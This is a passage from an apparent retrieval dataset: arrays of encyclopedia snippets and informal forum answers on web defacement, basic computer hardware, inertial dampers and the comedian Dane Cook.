defaced for political reasons; many defacers do it just for the thrill. For example, there are online contests in which hackers are awarded points for defacing the largest number of web sites in a specified amount of time. Corporations are also", "Mirror website Mirror websites or mirrors are replicas of other websites. Such websites have different URLs than the original site, but host identical or near-identical content. The main purpose of benign mirrors is often to reduce network traffic, improve access speed, improve availability of the original site, or provide a real-time backup of the original site. Malicious mirror sites can attempt to steal user information, distribute malware, or profit from the content of the original site, among other uses. Examples Examples of websites with notable mirrors are KickassTorrents, The Pirate Bay, WikiLeaks, the website of the Environmental Protection Agency, and", "technology to redirect the connections to the filtering proxies, users of some networks were temporarily prevented from accessing or editing any content hosted by Wikimedia, a problem reminiscent of Pakistan's accidental blocking of YouTube for much of the world instead of only their own citizens. Responses On 7 December 2008, the Wikimedia Foundation, a non-profit organisation which supports Wikipedia, issued a press release about the blacklisting of their sites by the IWF stating that they had \"no reason to believe the article, or the image contained in the article, has been held to be illegal in any jurisdiction anywhere in", "It has been stated that self-censorship Internet users impose upon themselves is probably the most serious threat to Internet freedom. Mass surveillance and fear of private communications being made public lead to self-censorship. This results in individuals no longer using search engines or social networks to express their personal beliefs, ideas or opinions, as certain keywords may trigger concerns with national security agencies, resulting in the Internet becoming a political tool of manipulation. Cyber bullying Discriminatory behaviors that occur ‘offline’ also occur ‘online’ One of these behaviors is ‘cyber bullying’. Cyberbullying affects at least one in ten students in Australia.", "alive).\nThe challenge from vandalism on Wikipedia was once characterized by the Former Encyclopædia Britannica editor-in-chief Robert McHenry: \"The user who visits Wikipedia ... is rather in the position of a visitor to a public restroom. It may be obviously dirty so that he knows to exercise great care, or it may seem fairly clean, so that he may be lulled into a false sense of security. What he certainly does not know is who has used the facilities before him.\" ClueBot NG The most famous \"bot\" that fights vandalism is ClueBot NG. The bot was created by Wikipedia users Christopher" ]

[ "Physically: think of light switches, 1 being on, 0 being off this is binary. Electricity is used to flip the switches.\n\nA clock is consistently running that with every tick turns the switch on or off. Now think of tons of these switches, this is where the memory or current application state is held.\n\nApplications interpret these light switch positions to display something to the user.", "It does a bunch of math. All that needs to happen is turn tiny chips on or off (way oversimplifying) to make the binary codes of everything digital like the instructions for each letter or videos." ]

[ "Surface computer A surface computer is a computer that interacts with the user through the surface of an ordinary object, rather than through a monitor, keyboard, mouse, or other physical hardware.\nThe term \"surface computer\" was first adopted by Microsoft for its PixelSense (codenamed Milan) interactive platform, which was publicly announced on 30 May 2007. Featuring a horizontally-mounted 30-inch display in a coffee table-like enclosure, users can interact with the machine's graphical user interface by touching or dragging their fingertips and other physical objects such as paintbrushes across the screen, or by setting real-world items tagged with special bar-code labels on", "or connected by switched hubs, as in the case of USB. Background and nomenclature Computer systems generally consist of three main parts: the central processing unit (CPU) that processes data, memory that holds the programs and data to be processed, and I/O (input/output) devices as peripherals that communicate with the outside world. An early computer might contain a hand-wired CPU of vacuum tubes, a magnetic drum for main memory, and a punch tape and printer for reading and writing data respectively. A modern system might have a multi-core CPU, DDR4 SDRAM for memory, a solid-state drive for secondary storage, a", "user to enter information into the system, or control its operation. Most personal computers have a mouse and keyboard, but laptop systems typically use a touchpad instead of a mouse. Other input devices include webcams, microphones, joysticks, and image scanners. Output device Output devices display information in a human readable form. Such devices could include printers, speakers, monitors or a Braille embosser. Mainframe computer A mainframe computer is a much larger computer that typically fills a room and may cost many hundreds or thousands of times as much as a personal computer. They are designed to perform large numbers of", "a given task (or tasks) is called a \"program\". In the nominal case, the program, as executed by the computer, will consist of binary machine code. The elements of storage manipulated by the program, but not actually executed by the CPU, are also data. Program instructions, and the data that the program manipulates, are both stored in exactly the same way. Therefore, it is possible for computer programs to operate on other computer programs, by manipulating their programmatic data.\nThe line between program and data can become blurry. An interpreter, for example, is a program. ", "basic level of control over all of the computer's hardware devices. It manages memory access for programs in the RAM, it determines which programs get access to which hardware resources, it sets up or resets the CPU's operating states for optimal operation at all times, and it organizes the data for long-term non-volatile storage with file systems on such media as disks, tapes, flash memory, etc. Program execution The operating system provides an interface between an application program and the computer hardware, so that an application program can interact with the hardware only by obeying rules and procedures programmed into", "Computer (job description) The term \"computer\", in use from the early 17th century (the first known written reference dates from 1613), meant \"one who computes\": a person performing mathematical calculations, before electronic computers became commercially available.\n\"The human computer is supposed to be following fixed rules; he has no authority to deviate from them in any detail.\"\nTeams of people were frequently used to undertake long and often tedious calculations; the work was divided so that this could be done in parallel. Frequently, the same calculations were performed independently by separate teams to check the correctness of the results.\nSince the end of", "Hands-on computing Hands-on computing is a branch of human-computer interaction research which focuses on computer interfaces that respond to human touch or expression, allowing the machine and the user to interact physically. Hands-on computing can make complicated computer tasks more natural to users by attempting to respond to motions and interactions that are natural to human behavior. Thus hands-on computing is a component of user-centered design, focusing on how users physically respond to virtual environments. Keyboards Keyboards and typewriters are some of the earliest hands-on computing devices. These devices are effective because users receive kinesthetic feedback, tactile feedback, auditory feedback,", "Outline of computers The following outline is provided as an overview of and topical guide to computers:\nComputers – programmable machines designed to automatically carry out sequences of arithmetic or logical operations. The sequences of operations can be changed readily, allowing computers to solve more than one kind of problem. Computer architecture Computer architecture –", "computer or PLC. How the robot interacts with other machines in the cell must be programmed, both with regard to their positions in the cell and synchronizing with them.\nSoftware: The computer is installed with corresponding interface software. The use of a computer greatly simplifies the programming process. Specialized robot software is run either in the robot controller or in the computer or both depending on the system design.\nThere are two basic entities that need to be taught (or programmed): positional data and procedure. For example, in a task to move a screw from a feeder to a hole the positions", "to be simpler to design, in that a relatively simple processor may keep state between successive computations to build up complex procedural results. Most modern computers are von Neumann machines. Data organization and representation A modern digital computer represents data using the binary numeral system. Text, numbers, pictures, audio, and nearly any other form of information can be converted into a string of bits, or binary digits, each of which has a value of 1 or 0. The most common unit of storage is the byte, equal to 8 bits. A piece of information can be handled by any computer", "Synergy (software) Design Once the program is installed, users can move the mouse \"off\" the side of their desktop on one computer, and the mouse pointer will appear on the desktop of another computer. Key presses will be delivered to whichever computer the mouse-pointer is located in. This makes it possible to control several machines as easily as if they were a single multi-monitor computer. The clipboard and even screensavers can be synchronized.\nThe program is implemented as a server which defines which screen-edges lead to which machines, and one or more clients, which connect to the server to offer the", "The machine can move the tape back and forth, changing its contents as it performs an algorithm. The machine starts in the initial state, goes through a sequence of steps, and halts when it encounters the halt state.\nThis machine is considered by some to be the origin of the stored-program computer—used by John von Neumann (1946) for the \"Electronic Computing Instrument\" that now bears the von Neumann architecture name. Early programmable computers The Z3 computer, invented by Konrad Zuse (1941) in Germany, was a digital and programmable computer. A digital computer uses electricity as the calculating component. The Z3 contained", "matrices. Input/output (I/O) I/O is the means by which a computer exchanges information with the outside world. Devices that provide input or output to the computer are called peripherals. On a typical personal computer, peripherals include input devices like the keyboard and mouse, and output devices such as the display and printer. Hard disk drives, floppy disk drives and optical disc drives serve as both input and output devices. Computer networking is another form of I/O.\nI/O devices are often complex computers in their own right, with their own CPU and memory. A graphics processing unit might contain fifty or more", "Computer terminal A computer terminal is an electronic or electromechanical hardware device that is used for entering data into, and displaying or printing data from, a computer or a computing system. The teletype was an example of an early day hardcopy terminal, and predated the use of a computer screen by decades.\nThe acronym CRT (cathode-ray tube), which once referred to a computer terminal, has come to refer to a type of screen of a personal computer.\nEarly terminals were inexpensive devices but very slow compared to punched cards or paper tape for input, but as the technology improved and video displays", "Machine to machine Machine to machine (M2M) is direct communication between devices using any communications channel, including wired and wireless. \nMachine to machine communication can include industrial instrumentation, enabling a sensor or meter to communicate the information it records (such as temperature, inventory level, etc.) to application software that can use it (for example, adjusting an industrial process based on temperature or placing orders to replenish inventory). Such communication was originally accomplished by having a remote network of machines relay information back to a central hub for analysis, which would then be rerouted into a system like a personal computer.\nMore", "Computer systems and organisations The process of analysing computer architecture and various logic circuits. This involves looking at low level computer processes at bit level computation. This is an in-depth look into the hardware processing of a computational system, involving looking at the basic structure of a computer and designing such systems. This can also involve evaluating complex circuit diagrams, and being able to construct these to solve a main problem.\nThe main purpose behind this area of study is to achieve an understanding of how computers function on a basic level, often through tracing machine operations. Machines, languages, and computation", "the computer can use directly to execute the instructions. The same program in its human-readable source code form, enables a programmer to study and develop a sequence of steps known as an algorithm. Because the instructions can be carried out in different types of computers, a single set of source instructions converts to machine instructions according to the CPU type.\nThe execution process carries out the instructions in a computer program. Instructions express the computations performed by the computer. They trigger sequences of simple actions on the executing machine. Those actions produce effects according to the semantics of the instructions.", "Early electronic computers (like the IBM 1401) had no operating system and little internal memory. The input was often a stack of punch cards. The computer was initiated by pressing a start button that performed a single command, read a card. This first card then instructed the machine to read more cards that eventually loaded a user program. This process was likened to an old saying, \"picking yourself up by the bootstraps\", referring to a horseman who lifts himself off the ground by pulling on the straps of his boots. This set of initiating punch cards was called \"bootstrap cards\".", " The memory controllers' bus consists of a number of parallel lines, each represented by a binary digit (bit). The width of the bus, and thus the number of addressable storage units, and the number of bits in each unit, varies among computers. Logical addresses A computer program uses memory addresses to execute machine code, and to store and retrieve data. In early computers logical and physical addresses corresponded, but since the introduction of virtual memory most application programs do not have a knowledge of physical addresses. Rather, they address logical addresses, or virtual addresses, using the", "Keyboard computer A keyboard computer is a computer which contains all of the regular components of a personal computer, except for a screen, in the same housing as the keyboard. The power supply is typically external and connects to the computer via an adapter cable. The motherboard is specially designed to fit inside, and the device is larger than most standard keyboards. Additional peripheral components such as a monitor are connected to the computer via external ports. Usually no or only a minimum of storage devices is built in.\nMost home computers of the late 1970s and during the 1980s were", "TRIPS architecture Background Computer programs consist of a series of instructions stored in memory. A processor runs a program by fetching these instructions from memory, examining them, and performing the actions the instruction calls for.\nIn early machines, the speed of main memory was generally on the same order of time as a basic operation within the processor. For instance, an instruction that adds two numbers might take three or four instruction cycles, while fetching the numbers from memory might take one or two cycles. In these machines, there was no penalty for data being in main memory, and the instruction", "A personal computer can run terminal emulator software that replicates the function of a terminal, sometimes allowing concurrent use of local programs and access to a distant terminal host system. History The terminal of the first working programmable, fully automatic digital Turing-complete computer, the Z3, had a keyboard and a row of lamps to show results. Hard-copy terminals Early user terminals connected to computers were electromechanical teleprinters/teletypewriters (TeleTYpewriter, TTY), such as the Teletype Model 33 ASR, originally used for telegraphy or the Friden Flexowriter. Keyboard/printer terminals that came later included the IBM 2741 (1965) and the DECwriter LA30 (1970).", "them to display text on an interface. Utilizing human signal inputs allows more people to interact with computers in a natural way. Current problems There are still many problems with hands-on computing interfaces that are currently being eradicated through continuing research and development. The challenge of creating a simple, user-friendly interface and developing it in an inexpensive and mass-producible way is the main complication in hands-on computing technologies. Because some interactions between human and machine are ambiguous, the mechanical response is not always the desired result for the user. Different hand gestures and facial expressions can lead the computer to", "the software into their computer's memory, it serves as a kind of \"computer magnifying glass.\" Wherever the computer cursor moves, it enlarges the area around it. This allows greater computer accessibility for a wide range of visual abilities. Large-print and tactile keyboards A large-print keyboard has large letters printed on the keys. On the keyboard shown, the round buttons at the top control software which can magnify the screen (zoom in), change the background color of the screen, or make the mouse cursor on the screen larger. The \"bump dots\" on the keys, installed in this case by", "computer to utilize parts of itself, and without them, the machine would not function. This is because usually a graphics device communicates in its own language, which is more sophisticated, and a computer communicates in its own language, which largely deals with general commands. Therefore, a driver is required to translate between the two, and convert general commands into specific commands, and vice versa, so that each of the devices can understand the instructions and results. Installation Dedicated graphics cards are not bound to the motherboard, and therefore most are removable, replaceable, or upgradable. They are installed in an expansion", "computer represents a piece of data as a sequence of symbols drawn from a fixed alphabet. The most common digital computers use a binary alphabet, that is, an alphabet of two characters, typically denoted \"0\" and \"1\". More familiar representations, such as numbers or letters, are then constructed from the binary alphabet. Some special forms of data are distinguished. A computer program is a collection of data, which can be interpreted as instructions. Most computer languages make a distinction between programs and the other data on which programs operate, but in some languages, notably Lisp and similar languages, programs are", "clock signal generated by the computer, while outputting a frame of bits on the Data line, one bit per Clock pulse, just as the attached device would do to transmit in the other direction. The device defers to the control of the computer over the Clock line and receives the data byte. (A keyboard normally interprets this byte as a command or a parameter byte for a preceding command.) The computer releases the Clock line when it is done. The device will not attempt to transmit to the computer until both Clock and Data have been high for a minimum", "and similar-sized institutions. End users generally did not directly interact with the machine, but instead would prepare tasks for the computer on off-line equipment, such as card punches. A number of assignments for the computer would be gathered up and processed in batch mode. After the job had completed, users could collect the results. In some cases, it could take hours or days between submitting a job to the computing center and receiving the output.\nA more interactive form of computer use developed commercially by the middle 1960s. In a time-sharing system, multiple computer terminals let many people share the use", "connected to a PC via a USB cable, where the robot arm can be programmed via the GUI, and where the processor of the PC can perform some of the complex computations that implement the control system.", "Computer program A computer program is a collection of instructions that performs a specific task when executed by a computer. Most computer devices require programs to function properly.\nA computer program is usually written by a computer programmer in a programming language. From the program in its human-readable form of source code, a compiler or assembler can derive machine code—a form consisting of instructions that the computer can directly execute. Alternatively, a computer program may be executed with the aid of an interpreter.\nA collection of computer programs, libraries, and related data are referred to as software. Computer programs may be categorized" ]

[ "1. Do you mean the inertial dampeners from Star Trek? These are science fiction.\n\n2. When the ship accelerates to or decelerates from light speed, they keep the crew from being thrown around the ship. Think of it like a seat belt.", "Civil Engineering student here\n\nInertial dampers, such as found in [taipei 101](_URL_1_)?\n\nWhen you look at a building, you think \"That doesn't move at all!\", right? Especially with larger buildings, this is not true at all. skyscrapers can sway feet at a time! The two main things which provide enough energy to make tall towers sway are earthquakes and strong wind. They make the building sway back and forth, sort of like a swing you find at a playground, but upside down. If the energy from the wind or earthquake is just right, it can make the building sway REALLY far, just like when you swing higher and higher at the playground.\n\nThis is where inertial damping comes in. Inertial damping is where you take a HUGE ball (about 2 storeys high) made of solid metal and attach huge hydraulic dampers to it.\n\nA reasonably simple (yet admittedly not quite right) analogy is if you had a [sack of rocks tied on a rope underneath a swingset](_URL_0_), which is then hanging in a pool of water. The bag in the water takes all of the energy out of the push, so it is impossible to get a good swing going.\n\nThe damping in taipei 101 is 'active damping' which means it is proactive with its efforts - energy is put in to cancel out the unwanted energy from the earthquake/winds. The change to the analogy would be that the rope from the swing to the bag of rocks would be a hinged beam and the person could push back and forth to help slow him down.\n\nEdit: Just to clarify; in the analogy, the bag of rocks is the ball, the water is the dampers, the swing+person is the tower and the person pushing is an earthquake/strong wind.", "Imagine you're in a car going fairly fast, and the driver slams on the breaks. You are thrown forward slightly and your chest presses against the seatbelt. Now, imagine the car is a spaceship. A spaceship has to go really, really fast to get from one place to another in a reasonable amount of time, because planets are really far apart. So instead of going 50 MPH in a car, you might be going about 11 Billion MPH (the speed of light) in your spaceship. When you slam on the breaks in your spaceship, you would slam your forehead into the windshield really hard and probably die. Inertial dampeners are a fictional technology that would keep you from hurting your head." ]

[ "Inertia damper An inertia damper is a device that counters or damps the effects of inertia and other forces and motion. The damper does not negate the forces but either absorbs or redirects them by other means. For example, a large suspended mass may be used to absorb several short-duration large forces, and to reapply those forces as a smaller force over a longer period.\nThe phrase inertial damper is actually misused in science fiction to describe a device that negates inertia and removes it from surrounding mass. It is more properly described as inertia negation.", "law.\nThe latter equation shows optical damping, i.e. the intrinsic mechanical damping becomes stronger (or weaker) due to the optomechanical interaction. From the formula one can see that for negative detuning and large coupling, the mechanical damping can be greatly increased, which corresponds to cooling of the mechanical oscillator. In the case of positive detuning the optomechanical interaction leads to a negative contribution to the effective damping. This can lead to instability, when the effective damping drops below zero, , which means that it turns into an overall amplification rather than a damping of the mechanical oscillator. Important parameter regimes", "places of mechanical activity. The downside is, most air compressors are large, bulky, and loud. They are hard to transport to other areas once installed. Pneumatic linear actuators are likely to leak and this makes them less efficient than mechanical linear actuators. Piezoelectric actuators The piezoelectric effect is a property of certain materials in which application of a voltage to the material causes it to expand. Very high voltages correspond to only tiny expansions. As a result, piezoelectric actuators can achieve extremely fine positioning resolution, but also have a very short range of motion. In addition, piezoelectric", "mechanical resonator consists of both a mass element and a compliance element. Mechanical resonators are analogous to electrical LC circuits consisting of inductance and capacitance. Real mechanical components unavoidably have both mass and compliance so it is a practical proposition to make resonators as a single component. In fact, it is more difficult to make a pure mass or pure compliance as a single component. A spring can be made with a certain compliance and mass minimised, or a mass can be made with compliance minimised, but neither can be eliminated altogether. Mechanical resonators are", "Oscillation Simple harmonic The simplest mechanical oscillating system is a weight attached to a linear spring subject to only weight and tension. Such a system may be approximated on an air table or ice surface. The system is in an equilibrium state when the spring is static. If the system is displaced from the equilibrium, there is a net restoring force on the mass, tending to bring it back to equilibrium. However, in moving the mass back to the equilibrium position, it has acquired momentum which keeps it moving beyond that position, establishing a new restoring force", "damper uses a spring-return mechanism and a shaded-pole synchronous motor. In this case, the damper is normally opened by the force of the spring but can be closed by the force of the motor. Removal of electrical power re-opens the damper. This style of damper is advantageous because it is \"fail safe\"; if the control to the damper fails, the damper opens and allows air to flow. However, in most applications \"fail safe\" indicates the damper will close upon loss of power thus preventing the spread of smoke and fire to other areas. These dampers also may allow adjustment", "compressors raise the pressure of the refrigerant by imparting velocity or dynamic energy, using a rotating impeller, and converting it to pressure energy. Scroll compressors Scroll compressors are also positive displacement compressors. The refrigerant is compressed when one spiral orbits around a second stationary spiral, creating smaller and smaller pockets and higher pressures. By the time the refrigerant is discharged, it is fully pressurized. Compressor lubrication In order to lubricate the moving parts of the compressor, oil is added to the refrigerant during installation or commissioning. The type of oil may be mineral or synthetic to suit the compressor type,", "to hydraulic actuators except they use compressed gas to generate force instead of a liquid. They work similarly to a piston in which air is pumped inside a chamber and pushed out of the other side of the chamber. Air actuators are not necessarily used for heavy duty machinery and instances where large amounts of weight are present. One of the reasons pneumatic linear actuators are preferred to other types is the fact that the power source is simply an air compressor. Because air is the input source, pneumatic actuators are able to be used in many", "is converted into potential energy stored in the spring at the extremes of its path. The spring-mass system illustrates some common features of oscillation, namely the existence of an equilibrium and the presence of a restoring force which grows stronger the further the system deviates from equilibrium. Damped and driven oscillations All real-world oscillator systems are thermodynamically irreversible. This means there are dissipative processes such as friction or electrical resistance which continually convert some of the energy stored in the oscillator into heat in the environment. This is called damping. Thus, oscillations tend to decay with", "quasistatic, but not reversible process. Although the system has been driven from its equilibrium state by only an infinitesimal amount, heat has been irreversibly lost due to friction, and cannot be recovered by simply moving the piston infinitesimally in the opposite direction. Engineering archaisms Historically, the term Tesla principle was used to describe (amongst other things) certain reversible processes invented by Nikola Tesla. However, this phrase is no longer in conventional use. The principle stated that some systems could be reversed and operated in a complementary manner. It was developed during Tesla's research in alternating currents where the current's magnitude", "complex maneuvres or acceleration to FTL speeds.\nNotable appearances include the Star Trek franchise, where inertial dampers protect the crew from the dangers of sudden accelerations. Another example is in the movie Alien.\nIn the fictional Mass Effect universe dark energy fields are used ubiquitously to modify mass of objects, e.g. of weapon projectiles to allow use of compact mass accelerators in order to achieve higher muzzle velocity, or even negate the mass of entire spaceships in order to enable FTL travel. Inertial damper as shock absorber Inertia negation is used to counter the effects of sudden acceleration that would impart structural", "at the interstage. As the fluid arriving to the interstage expands, it will tend to evaporate, producing an overall temperature drop and cooling the second compressor's suction when mixing with the fluid discharged by the first compressor. This kind of set up may have a heat exchanger between the expansion and the interstage, situation in which that second evaporator may serve to produce refrigeration as well, though not as cool as the main evaporator (for example to produce air conditioning or for keeping fresh products). A two staged system is said to be set up in a booster display with", "force.\nMasses and springs (with stiffness) are energy storing elements, whereas a damper is an energy dissipating device. If we can control impedance, we are able to control energy exchange during interaction, \ni.e. the work being done. So impedance control is interaction control.\nNote that mechanical systems are inherently multi-dimensional - a typical robot arm can place an object in three dimensions (x, y, z coordinates) and in three orientations (e.g. roll, pitch, yaw). In theory, an impedance controller can cause the mechanism to exhibit a multi-dimensional mechanical impedance. For example, the mechanism might act very stiff along one axis and very", "Inertial wave Inertial waves, also known as inertial oscillations, are a type of mechanical wave possible in rotating fluids. Unlike surface gravity waves commonly seen at the beach or in the bathtub, inertial waves flow through the interior of the fluid, not at the surface. Like any other kind of wave, an inertial wave is caused by a restoring force and characterized by its wavelength and frequency. Because the restoring force for inertial waves is the Coriolis force, their wavelengths and frequencies are related in a peculiar way. Inertial waves are transverse. Most commonly they are observed in atmospheres, oceans,", "regenerators also have self-cleaning characteristics, reducing fluid-side fouling and corrosion. Finally properties such as small surface density and counter-flow arrangement of regenerators make it ideal for gas-gas heat exchange applications requiring effectiveness exceeding 85%. The heat transfer coefficient is much lower for gases than for liquids, thus the enormous surface area in a regenerator greatly increases heat transfer. Disadvantages of regenerators The major disadvantage of rotary and fixed-matrix regenerators is that there is always some mixing of the fluid streams, and they can not be completely separated. There is an unavoidable carryover of a small fraction of one fluid stream", "move only in line with the spring. Acceleration causes deflection of the mass and the offset distance is measured. The acceleration is derived from the values of deflection distance, mass and the spring constant. The system must also be damped to avoid oscillation.\nA closed-loop accelerometer achieves higher performance by using a feedback loop to cancel the deflection, thus keeping the mass nearly stationary. Whenever the mass deflects, the feedback loop causes an electric coil to apply an equally negative force on the mass, canceling the motion. Acceleration is derived from the amount of negative force applied. Because the mass barely", "All of these additional devices have important uses in the control of the centrifugal compressor. Centrifugal impeller The key component that makes a compressor centrifugal is the centrifugal impeller, Figure 0.1, which contains a rotating set of vanes (or blades) that gradually raises the energy of the working gas. This is identical to an axial compressor with the exception that the gases can reach higher velocities and energy levels through the impeller's increasing radius. In many modern high-efficiency centrifugal compressors the gas exiting the impeller is traveling near the speed of sound.\nImpellers are designed in many configurations including \"open\" (visible", "of the \"closed\" position so that they only obstruct, for example, 75% of the air flow when closed.\nFor vacuum-operated or pneumatically operated zone dampers, the thermostat usually switches the pressure or vacuum on or off, causing a spring-loaded rubber diaphragm to move and actuate the damper. As with the second style of electrical zone dampers, these dampers automatically return to the default position without the application of any power, and the default position is usually \"open\", allowing air to flow. Like the second style of electrical zone damper, these dampers may allow adjustment of the \"closed\" position.\nHighly sophisticated systems may", "system. If the outside air is not cold enough to overcome the refrigeration load of the space the compressor system will need to also operate, or the temperature inside the space will rise. Vapor-Compression Refrigeration Another use of the term occurs in industrial refrigeration, specifically vapor-compression refrigeration. Normally, the economizer concept is applied when a particular design or feature on the refrigeration cycle, allows a reduction either in the amount of energy used from the power grid; in the size of the components (basically the gas compressor's nominal capacity) used to produce refrigeration, or both.\nFor example, for a walk-in", "Hydraulic accumulator A hydraulic accumulator is a pressure storage reservoir in which a non-compressible hydraulic fluid is held under pressure that is applied by an external source of mechanical energy. The external source can be an engine, a spring, a raised weight, or a compressed gas. An accumulator enables a hydraulic system to cope with extremes of demand using a less powerful pump, to respond more quickly to a temporary demand, and to smooth out pulsations. It is a type of energy storage device.\nCompressed gas accumulators, also called hydro-pneumatic accumulators, are by far the most common type. Towers The", "pressure drop. This makes a regenerator more economical in terms of materials and manufacturing, compared to an equivalent recuperator.\nThe design of inlet and outlet headers used to distribute hot and cold fluids in the matrix is much simpler in counter flow regenerators than recuperators. The reason behind this is that both streams flow in different sections for a rotary regenerator and one fluid enters and leaves one matrix at a time in a fixed-matrix regenerator. Furthermore, flow sectors for hot and cold fluids in rotary regenerators can be designed to optimize pressure drop in the fluids. The matrix surfaces of", "cases if the compressor is not reasonably matched to the load. Load/unload In a load/unload control scheme, the compressor remains continuously powered. However, when the demand for compressed air is satisfied or reduced, instead of disconnecting power to the compressor, a device known as a slide valve is activated. This device uncovers part of the rotor and proportionately reduces capacity of the machine down to typically 25% of the compressor's capability, thereby unloading the compressor. This reduces the number of start/stop cycles for electric motors over a start/stop control scheme in electrically-driven compressors, improving equipment service life with a", "Inverter compressor Challenges in adopting inverter scroll in HVAC systems The compressor and drive need to be qualified to work together and for dedicated applications. The drive modulates the compressor speed and prevents it from operating out of the compressor operating limits. \nThe inverter frequency drives need to use algorithms developed specifically for heating, ventilation and air conditioning (HVAC) or for refrigeration. They ensure that the system will run within the application constraints.\nThe drive can also manage other devices such as oil injection valves or multiple compressors. As the compressor rotational speed changes, the amount of refrigerant — and", "converted to a fixed pressure one.\nAt the points where the rotor touches the stator, the surfaces are generally traveling transversely, so small areas of sliding contact occur. These areas need to be lubricated by the fluid being pumped (hydrodynamic lubrication). This can mean that more torque is required for starting, and if allowed to operate without fluid, called 'run dry', rapid deterioration of the stator can result.\nWhile progressive cavity pumps offer long life and reliable service transporting thick or lumpy fluids, abrasive fluids will significantly shorten the life of the stator. However, slurries (particulates in a medium) can be pumped", "\"acceleration head\" (force) having to be generated. The pressure pulse is accordingly not generated in the first place, so it is not dampened at all. The gas cushion simply allows volume change to be stored. The manufacturers are providing, are liquid accumulators, not an item which removes energy. Hydropneumatic accumulators Gas cushion (spring) pre-filled accumulators of liquids are called hydropneumatic accumulators. \"Hydro\" because a liquid (like water) is involved. \"Pneumatic\" because a gas (like air) is involved. \"Accumulator\" because the purpose is to store or accumulate liquid volume by easy compression of the gas. These devices are typified by having", "for use in variable-pitch propellers. Spring type A spring type accumulator is similar in operation to the gas-charged accumulator above, except that a heavy spring (or springs) is used to provide the compressive force. According to Hooke's law the magnitude of the force exerted by a spring is linearly proportional to its change of length. Therefore, as the spring compresses, the force it exerts on the fluid is increased linearly. Metal bellows type The metal bellows accumulators function similarly to the compressed gas type, except the elastic diaphragm or floating piston is replaced by a hermetically sealed welded metal bellows.", "using significantly less energy compared to the gaseous diffusion process. Centrifugal process The centrifuge relies on the force resulting from centripetal acceleration to separate molecules according to their mass, and can be applied to most fluids. The dense (heavier) molecules move towards the wall and the lighter ones remain close to the center. The centrifuge consists of a rigid body rotor rotating at full period at high speed. Concentric gas tubes located on the axis of the rotor are used to introduce feed gas into the rotor and extract the heavier and lighter separated streams. For ²³⁵U production, the heavier", "a mixed-flow regenerator is sometimes used as a quasi-separated-flow recuperator. This can be done through the use of moving valves, or by a rotating regenerates with fixed baffles, or by the use of other moving parts. When heat is recovered from exhaust gases and used to preheat combustion air, typically the term recuperator is used, because the two flows are separate. History In 1791, before Ericsson, John Barber proposed a similar engine. The Barber engine used a bellows compressor and a turbine expander, but it lacked a regenerator/recuperator. There are no records of a working Barber engine. Ericsson invented", "out.\n\nc. For general purposes: having an elastomeric bladder separator. Misuse of the term Some manufacturers of pulsation dampeners provide items which do not dampen pulsations. The compressibility of a gas, often nitrogen because it is inert at normal temperatures, stores any sudden volume change. Storing sudden volume change enables volume to change against a soft gas cushion, without the need to accelerate all the existing liquid in the system out of the way of the new volume coming from a pump. Therefore, as all the volume in a system does not have to be suddenly accelerated, the cushion is preventing", "a throttle valve or metering device), and an evaporator. Circulating refrigerant enters the compressor in the thermodynamic state known as a saturated vapor and is compressed to a higher pressure, resulting in a higher temperature as well. The hot, compressed vapor is then in the thermodynamic state known as a superheated vapor and it is at a temperature and pressure at which it can be condensed with either cooling water or cooling air flowing across the coil or tubes. This is where the circulating refrigerant rejects heat from the system and the rejected heat is carried away by either the" ]

[ "Because he's terrible. Not just his \"comedy\" or \"performance\". Look at this recent [@GoogleTalk](_URL_0_)", "He is a subpar ripoff of many comedians who came before him. That's the general consensus. People are also annoyed by him because so many women literally wail and scream for him during his shows. Yes, it's clear that he's conventionally attractive to many people and that's fine. But the constant interruptions due to screaming is BS. And he encourages it, too.", "I don't know about other people, but I simply don't find his material funny AT ALL. Not a spec of comedy in his jokes. \n\nI started watching his long special where he was in the center of the crowd on a little island, because I genuinely wanted to watch some funny comedy, and I have heard that he's really funny from a friend. I watched and watched and waited for a funny moment, but nothing made me laugh or even chuckle in the slightest. I couldn't even crack a smile. \n\nTo me, he was making statements, not jokes." ]

[ "Cook was one of the few who remained loyal to her throughout their lives. In part, this may have been because, without exception, she always wrote nice things about him. As American writer Robert McAlmon once said to Cook (as the latter reports in his letters), \"[Stein] treats you better than anyone else. I think she likes you.\" To which Cook replied, \"Of course, she always did, and I always liked her.\" In Stein's writings, there are frequent references to Cook, but almost never to his art. When conversing, they apparently almost always talked about bullfighting, religion, money, automobiles, and", "of people going, 'Who the fuck does he think he is?'\nJim Breuer talked about Cook's reputation within the comedy industry, saying: \"Everyone kills this guy ... Not one comedian comes on [my Sirius radio show] and says 'I'm so happy for him', which is weird. ... They can't stand this poor guy.\" Breuer went on to say that he personally thinks Cook is a \"tremendous performer\".\nPaul Provenza said that he was not a fan of his earlier work, but \"...caught a couple of Dane Cook shows at the Laugh Factory in Los Angeles, and he was fantastic\", and became a", "Zoiks! Online, Tanamor asked Cook why he was so despised. Cook stated that he'd had conversations with his therapist, attributing some of the negativity to his alpha demeanor. Add to that, Cook's highly successful career. \"Unfortunately, what you find is, you know in your graduating class with the guys you came up with, there's going to be some dudes in front of you that don't want you catching up, and there's going to be some guys behind you that maybe they've never had an opportunity. That, coupled with, like you said, reaching the Billboard charts with 'Retaliation' and a lot", "critics choose to see Cook's life as tragic, insofar as the brilliance of his youth had not been sustained in his later years. However, Cook himself always maintained he had no ambitions at all for sustained success. He assessed happiness by his friendships and his enjoyment of life. Eric Idle said Cook had not wasted his talent, but rather that the newspapers had tried to waste him.\nSeveral friends honoured him with a dedication in the closing credits of Fierce Creatures (1997), a comedy film written by John Cleese about a zoo in peril of being closed. It starred Cleese alongside", "as the two passions in his life, stating that \"They are both my passions and not many people can say what they do for their job or their life is what they love doing all the time\". Cook is a fan of hunting and deer stalking.\nCook and James Anderson have taken part in an exhibition darts series against each other with Cook leading the series 2–0, winning both 1-Leg shootouts.", "James Cook (Skins) Characterisation Cook is an outgoing, sexually promiscuous, and in many ways self-destructive young man, who appears to have come from a troubled family background. He is an impulsive 17-year-old at the start of the series. He loves to have a good time and is constantly the life and soul of any party. Cook shows a great interest in the ladies, and all his partying can sometimes get out of hand, leading him into trouble. He loves to drink and use drugs, but whether or not he is an addict is left ambiguous to the viewers. Throughout the", "call-and-response catch phrase \"Hootie Hoo!\", a tradition she and her husband had whenever trying to locate one another in public. Hall also became known on Top Chef for her philosophy of \"cooking with love\", which she defined as putting one's own care and warmth into food. She believes that if one is happy and calm while cooking, then this will show in the food, making it much better, whereas if one feels otherwise, it will degrade their cuisine. For this reason, she says that, “If you’re not in a good mood, the only thing you should make is a", "than his personal life. He ended the article by saying \"We pave 